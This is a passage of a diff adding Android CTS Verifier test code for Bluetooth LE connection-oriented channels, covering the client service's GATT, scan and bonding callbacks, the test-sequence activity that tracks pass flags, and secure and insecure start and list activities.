+            service = mBluetoothGatt.getService(SERVICE_UUID);
+            if (service == null) {
+                showMessage("GATT Service not found");
+            }
+        }
+        return service;
+    }
+
+    private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
+        BluetoothGattCharacteristic characteristic = null;
+
+        BluetoothGattService service = getService();
+        if (service != null) {
+            characteristic = service.getCharacteristic(uuid);
+            if (characteristic == null) {
+                showMessage("Characteristic not found");
+            }
+        }
+        return characteristic;
+    }
+
+    private void showMessage(final String msg) {
+        mHandler.post(new Runnable() {
+            public void run() {
+                Toast.makeText(BleCocClientService.this, msg, Toast.LENGTH_SHORT).show();
+            }
+        });
+    }
+
+    private final BluetoothGattCallback mGattCallbacks = new BluetoothGattCallback() {
+        @Override
+        public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
+            if (DEBUG) {
+                Log.d(TAG, "onConnectionStateChange: status=" + status + ", newState=" + newState);
+            }
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                if (newState == BluetoothProfile.STATE_CONNECTED) {
+                    mBleState = newState;
+                    int bondState = gatt.getDevice().getBondState();
+                    boolean bonded = false;
+                    BluetoothDevice target = gatt.getDevice();
+                    Set<BluetoothDevice> pairedDevices = mBluetoothAdapter.getBondedDevices();
+                    if (!pairedDevices.isEmpty()) {
+                        for (BluetoothDevice device : pairedDevices) {
+                            if (device.getAddress().equals(target.getAddress())) {
+                                bonded = true;
+                                break;
+                            }
+                        }
+                    }
+                    if (mSecure && ((bondState == BluetoothDevice.BOND_NONE) || !bonded)) {
+                        // not pairing and execute Secure Test
+                        Log.e(TAG, "BluetoothGattCallback.onConnectionStateChange: "
+                              + "Not paired but execute secure test");
+                        mBluetoothGatt.disconnect();
+                        notifyMismatchSecure();
+                    } else if (!mSecure && ((bondState != BluetoothDevice.BOND_NONE) || bonded)) {
+                        // already pairing and execute Insecure Test
+                        Log.e(TAG, "BluetoothGattCallback.onConnectionStateChange: "
+                              + "Paired but execute insecure test");
+                        mBluetoothGatt.disconnect();
+                        notifyMismatchInsecure();
+                    } else {
+                        notifyConnected();
+                    }
+                } else if (status == BluetoothProfile.STATE_DISCONNECTED) {
+                    mBleState = newState;
+                    mSecure = false;
+                    mBluetoothGatt.close();
+                    notifyDisconnected();
+                }
+            } else {
+                showMessage("Failed to connect: " + status + " , newState = " + newState);
+                mBluetoothGatt.close();
+                mBluetoothGatt = null;
+            }
+        }
+
+        @Override
+        public void onServicesDiscovered(BluetoothGatt gatt, int status) {
+            if (DEBUG) {
+                Log.d(TAG, "onServicesDiscovered: status=" + status);
+            }
+            if ((status == BluetoothGatt.GATT_SUCCESS) &&
+                (mBluetoothGatt.getService(SERVICE_UUID) != null)) {
+                notifyServicesDiscovered();
+            }
+        }
+
+        @Override
+        public void onCharacteristicRead(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic, int status) {
+            UUID uid = characteristic.getUuid();
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicRead: status=" + status + ", uuid=" + uid);
+            }
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                String value = characteristic.getStringValue(0);
+                if (characteristic.getUuid().equals(LE_PSM_CHARACTERISTIC_UUID)) {
+                    mPsm = characteristic.getIntValue(BluetoothGattCharacteristic.FORMAT_UINT8, 0);
+                    if (DEBUG) {
+                        Log.d(TAG, "onCharacteristicRead: reading PSM=" + mPsm);
+                    }
+                    Intent intent = new Intent(BLE_GOT_PSM);
+                    sendBroadcast(intent);
+                } else {
+                    if (DEBUG) {
+                        Log.d(TAG, "onCharacteristicRead: Note: unknown uuid=" + uid);
+                    }
+                }
+            } else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
+                notifyError("Not Permission Read: " + status + " : " + uid);
+            } else if (status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
+                notifyError("Not Authentication Read: " + status + " : " + uid);
+            } else {
+                notifyError("Failed to read characteristic: " + status + " : " + uid);
+            }
+        }
+    };
+
+    private final ScanCallback mScanCallback = new ScanCallback() {
+        @Override
+        public void onScanResult(int callbackType, ScanResult result) {
+            if (mBluetoothGatt == null) {
+                // verify the validity of the advertisement packet.
+                mValidityService = false;
+                List<ParcelUuid> uuids = result.getScanRecord().getServiceUuids();
+                for (ParcelUuid uuid : uuids) {
+                    if (uuid.getUuid().equals(BleCocServerService.ADV_COC_SERVICE_UUID)) {
+                        if (DEBUG) {
+                            Log.d(TAG, "onScanResult: Found ADV with LE CoC Service UUID.");
+                        }
+                        mValidityService = true;
+                        break;
+                    }
+                }
+                if (mValidityService) {
+                    stopScan();
+
+                    BluetoothDevice device = result.getDevice();
+                    if (DEBUG) {
+                        Log.d(TAG, "onScanResult: Found ADV with CoC UUID on device="
+                              + device);
+                    }
+                    if (mSecure) {
+                        if (device.getBondState() != BluetoothDevice.BOND_BONDED) {
+                            if (!device.createBond()) {
+                                notifyError("Failed to call create bond");
+                            }
+                        } else {
+                            mDevice = device;
+                            mBluetoothGatt = connectGatt(result.getDevice(), BleCocClientService.this, false,
+                                                         mSecure, mGattCallbacks);
+                        }
+                    } else {
+                        mDevice = device;
+                        mBluetoothGatt = connectGatt(result.getDevice(), BleCocClientService.this, false, mSecure,
+                                                     mGattCallbacks);
+                    }
+                } else {
+                    notifyError("No valid service in Advertisement");
+                }
+            }
+        }
+    };
+
+    private boolean checkReadBufContent(byte[] buf, int len) {
+        // Check that the content is correct
+        for (int i = 0; i < len; i++) {
+            if (buf[i] != mNextReadByte) {
+                Log.e(TAG, "handleMessageRead: Error: wrong byte content. buf["
+                      + i + "]=" + buf[i] + " not equal to " + mNextReadByte);
+                return false;
+            }
+            mNextReadByte++;
+        }
+        return true;
+    }
+
+    private void handleMessageRead(Message msg) {
+        byte[] buf = (byte[])msg.obj;
+        int len = msg.arg1;
+        if (len <= 0) {
+            return;
+        }
+        mTotalReadLen += len;
+        if (DEBUG) {
+            Log.d(TAG, "handleMessageRead: receive buffer of length=" + len + ", mTotalReadLen="
+                  + mTotalReadLen + ", mNextReadExpectedLen=" + mNextReadExpectedLen);
+        }
+
+        if (mNextReadExpectedLen == mTotalReadLen) {
+            if (!checkReadBufContent(buf, len)) {
+                mNextReadExpectedLen = -1;
+                return;
+            }
+            showMessage("Read " + len + " bytes");
+            if (DEBUG) {
+                Log.d(TAG, "handleMessageRead: broadcast intent " + mNextReadCompletionIntent);
+            }
+            Intent intent = new Intent(mNextReadCompletionIntent);
+            sendBroadcast(intent);
+            mNextReadExpectedLen = -1;
+            mNextReadCompletionIntent = null;
+            mTotalReadLen = 0;
+        } else if (mNextReadExpectedLen > mTotalReadLen) {
+            if (!checkReadBufContent(buf, len)) {
+                mNextReadExpectedLen = -1;
+                return;
+            }
+        } else if (mNextReadExpectedLen < mTotalReadLen) {
+            Log.e(TAG, "handleMessageRead: Unexpected receive buffer of length=" + len
+                  + ", expected len=" + mNextReadExpectedLen);
+        }
+    }
+
+    private void sendMessage(byte[] buf) {
+        mChatService.write(buf);
+    }
+
+    private void handleMessageWrite(Message msg) {
+        byte[] buffer = (byte[]) msg.obj;
+        int len = buffer.length;
+
+        showMessage("LE Coc Client wrote " + len + " bytes");
+        if (len == mNextWriteExpectedLen) {
+            if (mNextWriteCompletionIntent != null) {
+                Intent intent = new Intent(mNextWriteCompletionIntent);
+                sendBroadcast(intent);
+            }
+        } else {
+            Log.d(TAG, "handleMessageWrite: unrecognized length=" + len);
+        }
+    }
+
+    private class ChatHandler extends Handler {
+        @Override
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            if (DEBUG) {
+                Log.d(TAG, "ChatHandler.handleMessage: msg=" + msg);
+            }
+            int state = msg.arg1;
+            switch (msg.what) {
+            case BluetoothChatService.MESSAGE_STATE_CHANGE:
+                if (state == BluetoothChatService.STATE_CONNECTED) {
+                    // LE CoC is established
+                    notifyLeCocClientConnected();
+                }
+                break;
+            case BluetoothChatService.MESSAGE_READ:
+                handleMessageRead(msg);
+                break;
+            case BluetoothChatService.MESSAGE_WRITE:
+                handleMessageWrite(msg);
+                break;
+            }
+        }
+    }
+
+    private void notifyLeCocClientConnected() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyLeCocClientConnected: device=" + mDevice + ", mSecure=" + mSecure);
+        }
+        showMessage("Bluetooth LE Coc connected");
+        Intent intent = new Intent(BLE_COC_CONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private void leCocClientConnect() {
+        if (DEBUG) {
+            Log.d(TAG, "leCocClientConnect: device=" + mDevice + ", mSecure=" + mSecure);
+        }
+        if (mDevice == null) {
+            Log.e(TAG, "leCocClientConnect: mDevice is null");
+            return;
+        }
+        // Construct BluetoothChatService with useBle=true parameter
+        mChatService = new BluetoothChatService(this, new ChatHandler(), true);
+        mChatService.connect(mDevice, mSecure, mPsm);
+    }
+
+    private void leCheckConnectionType() {
+        if (mChatService == null) {
+            Log.e(TAG, "leCheckConnectionType: no LE Coc connection");
+            return;
+        }
+        int type = mChatService.getSocketConnectionType();
+        if (type != BluetoothSocket.TYPE_L2CAP) {
+            Log.e(TAG, "leCheckConnectionType: invalid connection type=" + type);
+            return;
+        }
+        showMessage("LE Coc Connection Type Checked");
+        Intent intent = new Intent(BLE_CONNECTION_TYPE_CHECKED);
+        sendBroadcast(intent);
+    }
+
+    private void sendData8bytes() {
+        if (DEBUG) Log.d(TAG, "sendData8bytes");
+
+        final byte[] buf = new byte[]{1, 2, 3, 4, 5, 6, 7, 8};
+        mNextWriteExpectedLen = 8;
+        mNextWriteCompletionIntent = BLE_DATA_8BYTES_SENT;
+        sendMessage(buf);
+    }
+
+    private void sendDataLargeBuf() {
+        final int len = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+        if (DEBUG) Log.d(TAG, "sendDataLargeBuf of size=" + len);
+
+        byte[] buf = new byte[len];
+        for (int i = 0; i < len; i++) {
+            buf[i] = (byte)(i + 1);
+        }
+        mNextWriteExpectedLen = len;
+        mNextWriteCompletionIntent = null;
+        sendMessage(buf);
+    }
+
+    private void readData8bytes() {
+        mNextReadExpectedLen = 8;
+        mNextReadCompletionIntent = BLE_DATA_8BYTES_READ;
+        mNextReadByte = 1;
+    }
+
+    private void readDataLargeBuf() {
+        mNextReadExpectedLen = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+        mNextReadCompletionIntent = BLE_DATA_LARGEBUF_READ;
+        mNextReadByte = 1;
+    }
+
+    private void startScan() {
+        if (DEBUG) Log.d(TAG, "startScan");
+        List<ScanFilter> filter = Arrays.asList(new ScanFilter.Builder().setServiceUuid(
+                new ParcelUuid(BleCocServerService.ADV_COC_SERVICE_UUID)).build());
+        ScanSettings setting = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+        mScanner.startScan(filter, setting, mScanCallback);
+    }
+
+    private void stopScan() {
+        if (DEBUG) Log.d(TAG, "stopScan");
+        if (mScanner != null) {
+            mScanner.stopScan(mScanCallback);
+        }
+    }
+
+    private final BroadcastReceiver mBondStatusReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent.getAction().equals(BluetoothDevice.ACTION_BOND_STATE_CHANGED)) {
+                BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
+                int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE,
+                                               BluetoothDevice.BOND_NONE);
+                switch (state) {
+                    case BluetoothDevice.BOND_BONDED:
+                        if (mBluetoothGatt == null) {
+                            if (DEBUG) {
+                                Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt. device="
+                                             + device + ", mSecure=" + mSecure);
+                            }
+                            mDevice = device;
+                            mBluetoothGatt = connectGatt(device, BleCocClientService.this, false, mSecure,
+                                                         mGattCallbacks);
+                        }
+                        break;
+                    case BluetoothDevice.BOND_NONE:
+                        notifyError("Failed to create bond");
+                        break;
+                    case BluetoothDevice.BOND_BONDING:
+                        // fall through
+                    default:
+                        // wait for next state
+                        break;
+                }
+            }
+        }
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java
new file mode 100644
index 0000000..c5c84d2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java
@@ -0,0 +1,295 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.app.ProgressDialog;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.widget.ListView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+import android.util.Log;
+
+public class BleCocClientTestBaseActivity extends PassFailButtons.Activity {
+    public static final String TAG = "BleCocClientTestBase";
+
+    private static final boolean STEP_EXECUTION = false;
+
+    private final int TEST_BLE_LE_CONNECTED = 0;
+    private final int TEST_BLE_GOT_PSM = 1;
+    private final int TEST_BLE_COC_CONNECTED = 2;
+    private final int TEST_BLE_CONNECTION_TYPE_CHECKED = 3;
+    private final int TEST_BLE_DATA_8BYTES_SENT = 4;
+    private final int TEST_BLE_DATA_8BYTES_READ = 5;
+    private final int TEST_BLE_DATA_EXCHANGED = 6;
+    private final int TEST_BLE_CLIENT_DISCONNECTED = 7;
+    private static final int PASS_FLAG_ALL = 0x00FF;
+
+    private TestAdapter mTestAdapter;
+    private long mPassed;
+    private Dialog mDialog;
+    private Handler mHandler;
+
+    private static final long BT_ON_DELAY = 10000;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.ble_server_start);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mTestAdapter = new TestAdapter(this, setupTestList());
+        ListView listView = (ListView) findViewById(R.id.ble_server_tests);
+        listView.setAdapter(mTestAdapter);
+
+        mPassed = 0;
+        mHandler = new Handler();
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+
+        IntentFilter filter = new IntentFilter();
+
+        filter.addAction(BleCocClientService.BLE_LE_CONNECTED);
+        filter.addAction(BleCocClientService.BLE_GOT_PSM);
+        filter.addAction(BleCocClientService.BLE_COC_CONNECTED);
+        filter.addAction(BleCocClientService.BLE_CONNECTION_TYPE_CHECKED);
+        filter.addAction(BleCocClientService.BLE_DATA_8BYTES_SENT);
+        filter.addAction(BleCocClientService.BLE_DATA_8BYTES_READ);
+        filter.addAction(BleCocClientService.BLE_DATA_LARGEBUF_READ);
+        filter.addAction(BleCocClientService.BLE_LE_DISCONNECTED);
+
+        filter.addAction(BleCocClientService.BLE_BLUETOOTH_DISCONNECTED);
+        filter.addAction(BleCocClientService.BLE_BLUETOOTH_DISABLED);
+        filter.addAction(BleCocClientService.BLE_BLUETOOTH_MISMATCH_SECURE);
+        filter.addAction(BleCocClientService.BLE_BLUETOOTH_MISMATCH_INSECURE);
+        filter.addAction(BleCocClientService.BLE_CLIENT_ERROR);
+
+        registerReceiver(mBroadcast, filter);
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        unregisterReceiver(mBroadcast);
+        closeDialog();
+    }
+
+    private synchronized void closeDialog() {
+        if (mDialog != null) {
+            mDialog.dismiss();
+            mDialog = null;
+        }
+    }
+
+    private synchronized void showProgressDialog() {
+        closeDialog();
+
+        ProgressDialog dialog = new ProgressDialog(this);
+        dialog.setTitle(R.string.ble_test_running);
+        dialog.setProgressStyle(ProgressDialog.STYLE_SPINNER);
+        dialog.setMessage(getString(R.string.ble_test_running_message));
+        dialog.setCanceledOnTouchOutside(false);
+        mDialog = dialog;
+        mDialog.show();
+    }
+
+    private List<Integer> setupTestList() {
+        ArrayList<Integer> testList = new ArrayList<Integer>();
+        testList.add(R.string.ble_coc_client_le_connect);
+        testList.add(R.string.ble_coc_client_get_psm);
+        testList.add(R.string.ble_coc_client_coc_connect);
+        testList.add(R.string.ble_coc_client_check_connection_type);
+        testList.add(R.string.ble_coc_client_send_data_8bytes);
+        testList.add(R.string.ble_coc_client_receive_data_8bytes);
+        testList.add(R.string.ble_coc_client_data_exchange);
+        testList.add(R.string.ble_client_disconnect_name);
+        return testList;
+    }
+
+    private void showErrorDialog(int titleId, int messageId, boolean finish) {
+        AlertDialog.Builder builder = new AlertDialog.Builder(this)
+                .setTitle(titleId)
+                .setMessage(messageId);
+        if (finish) {
+            builder.setOnCancelListener(new Dialog.OnCancelListener() {
+                @Override
+                public void onCancel(DialogInterface dialog) {
+                    finish();
+                }
+            });
+        }
+        builder.create().show();
+    }
+
+    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            boolean showProgressDialog = false;
+            closeDialog();
+
+            String action = intent.getAction();
+            String newAction = null;
+            String actionName = null;
+            long previousPassed = mPassed;
+            final Intent startIntent = new Intent(BleCocClientTestBaseActivity.this, BleCocClientService.class);
+            if (action != null) {
+                Log.d(TAG, "Processing " + action);
+            }
+            switch (action) {
+            case BleCocClientService.BLE_LE_CONNECTED:
+                actionName = getString(R.string.ble_coc_client_le_connect);
+                mTestAdapter.setTestPass(TEST_BLE_LE_CONNECTED);
+                mPassed |= (1 << TEST_BLE_LE_CONNECTED);
+                // Start LE Service Discovery and then read the PSM
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_GET_PSM;
+                break;
+
+            case BleCocClientService.BLE_GOT_PSM:
+                actionName = getString(R.string.ble_coc_client_get_psm);
+                mTestAdapter.setTestPass(TEST_BLE_GOT_PSM);
+                mPassed |= (1 << TEST_BLE_GOT_PSM);
+                // Connect the LE CoC
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT;
+                break;
+
+            case BleCocClientService.BLE_COC_CONNECTED:
+                actionName = getString(R.string.ble_coc_client_coc_connect);
+                mTestAdapter.setTestPass(TEST_BLE_COC_CONNECTED);
+                mPassed |= (1 << TEST_BLE_COC_CONNECTED);
+                // Check the connection type
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE;
+                break;
+
+            case BleCocClientService.BLE_CONNECTION_TYPE_CHECKED:
+                actionName = getString(R.string.ble_coc_client_check_connection_type);
+                mTestAdapter.setTestPass(TEST_BLE_CONNECTION_TYPE_CHECKED);
+                mPassed |= (1 << TEST_BLE_CONNECTION_TYPE_CHECKED);
+                // Send 8 bytes
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES;
+                break;
+
+            case BleCocClientService.BLE_DATA_8BYTES_SENT:
+                actionName = getString(R.string.ble_coc_client_send_data_8bytes);
+                mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_SENT);
+                mPassed |= (1 << TEST_BLE_DATA_8BYTES_SENT);
+                // Read 8 bytes
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES;
+                break;
+
+            case BleCocClientService.BLE_DATA_8BYTES_READ:
+                actionName = getString(R.string.ble_coc_client_receive_data_8bytes);
+                mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_READ);
+                mPassed |= (1 << TEST_BLE_DATA_8BYTES_READ);
+                // Do data exchanges
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_EXCHANGE_DATA;
+                break;
+
+            case BleCocClientService.BLE_DATA_LARGEBUF_READ:
+                actionName = getString(R.string.ble_coc_client_data_exchange);
+                mTestAdapter.setTestPass(TEST_BLE_DATA_EXCHANGED);
+                mPassed |= (1 << TEST_BLE_DATA_EXCHANGED);
+                // Disconnect
+                newAction = BleCocClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+                break;
+
+            case BleCocClientService.BLE_BLUETOOTH_DISCONNECTED:
+                mTestAdapter.setTestPass(TEST_BLE_CLIENT_DISCONNECTED);
+                mPassed |= (1 << TEST_BLE_CLIENT_DISCONNECTED);
+                // all tests done
+                newAction = null;
+                break;
+
+            case BleCocClientService.BLE_BLUETOOTH_DISABLED:
+                showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
+                break;
+
+            case BleCocClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
+                break;
+
+            case BleCocClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
+                break;
+
+            default:
+                Log.e(TAG, "onReceive: Error: unhandled action=" + action);
+            }
+
+            if (previousPassed != mPassed) {
+                String logMessage = String.format("Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
+                                                  previousPassed, mPassed, mPassed ^ previousPassed);
+                Log.d(TAG, logMessage);
+            }
+
+            mTestAdapter.notifyDataSetChanged();
+
+            if (newAction != null) {
+                Log.d(TAG, "Starting " + newAction);
+                startIntent.setAction(newAction);
+                if (STEP_EXECUTION) {
+                    closeDialog();
+                    final boolean showProgressDialogValue = showProgressDialog;
+                    mDialog = new AlertDialog.Builder(BleCocClientTestBaseActivity.this)
+                            .setTitle(actionName)
+                            .setMessage(R.string.ble_test_finished)
+                            .setCancelable(false)
+                            .setPositiveButton(R.string.ble_test_next,
+                                    new DialogInterface.OnClickListener() {
+                                        @Override
+                                        public void onClick(DialogInterface dialog, int which) {
+                                            closeDialog();
+                                            if (showProgressDialogValue) {
+                                                showProgressDialog();
+                                            }
+                                            startService(startIntent);
+                                        }
+                                    })
+                            .show();
+                } else {
+                    if (showProgressDialog) {
+                        showProgressDialog();
+                    }
+                    startService(startIntent);
+                }
+            } else {
+                closeDialog();
+            }
+
+            if (mPassed == PASS_FLAG_ALL) {
+                Log.d(TAG, "All Tests Passed.");
+                getPassButton().setEnabled(true);
+            }
+        }
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientStartActivity.java
new file mode 100644
index 0000000..177f953
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientStartActivity.java
@@ -0,0 +1,44 @@
+/*

+ * Copyright 2018 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.content.Intent;

+import android.os.Bundle;

+import com.android.cts.verifier.R;

+

+public class BleCocInsecureClientStartActivity extends BleCocClientTestBaseActivity {

+    private Intent mIntent;

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+

+        setInfoResources(R.string.ble_coc_client_test_name,

+                R.string.ble_coc_insecure_client_test_info, -1);

+

+        mIntent = new Intent(this, BleCocClientService.class);

+        mIntent.setAction(BleCocClientService.BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT);

+

+        startService(mIntent);

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(mIntent);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientTestListActivity.java
new file mode 100644
index 0000000..f60909a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientTestListActivity.java
@@ -0,0 +1,46 @@
+/*

+ * Copyright 2018 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.bluetooth.BluetoothAdapter;

+import android.os.Bundle;

+

+import com.android.cts.verifier.ManifestTestListAdapter;

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleCocInsecureClientTestListActivity extends PassFailButtons.TestListActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.pass_fail_list);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_coc_insecure_client_test_list_name,

+                R.string.ble_coc_insecure_client_test_list_info,

+                -1);

+

+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();

+        List<String> disabledTest = new ArrayList<String>();

+

+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),

+                disabledTest.toArray(new String[disabledTest.size()])));

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerStartActivity.java
new file mode 100644
index 0000000..7f7808b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerStartActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+public class BleCocInsecureServerStartActivity extends BleCocServerTestBaseActivity {
+    private Intent mIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mIntent = new Intent(this, BleCocServerService.class);
+        mIntent.setAction(BleCocServerService.BLE_ACTION_COC_SERVER_INSECURE);
+        startService(mIntent);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopService(mIntent);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerTestListActivity.java
new file mode 100644
index 0000000..2f5c59e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerTestListActivity.java
@@ -0,0 +1,45 @@
+/*

+ * Copyright 2018 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.bluetooth.BluetoothAdapter;

+import android.os.Bundle;

+

+import com.android.cts.verifier.ManifestTestListAdapter;

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleCocInsecureServerTestListActivity extends PassFailButtons.TestListActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.pass_fail_list);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_coc_insecure_server_test_list_name, R.string.ble_coc_insecure_server_test_list_info, -1);

+

+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();

+        List<String> disabledTest = new ArrayList<String>();

+        // TODO: Any need to remove certain tests based on supported features?

+

+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),

+                disabledTest.toArray(new String[disabledTest.size()])));

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientStartActivity.java
new file mode 100644
index 0000000..ae97daa
--- /dev/null
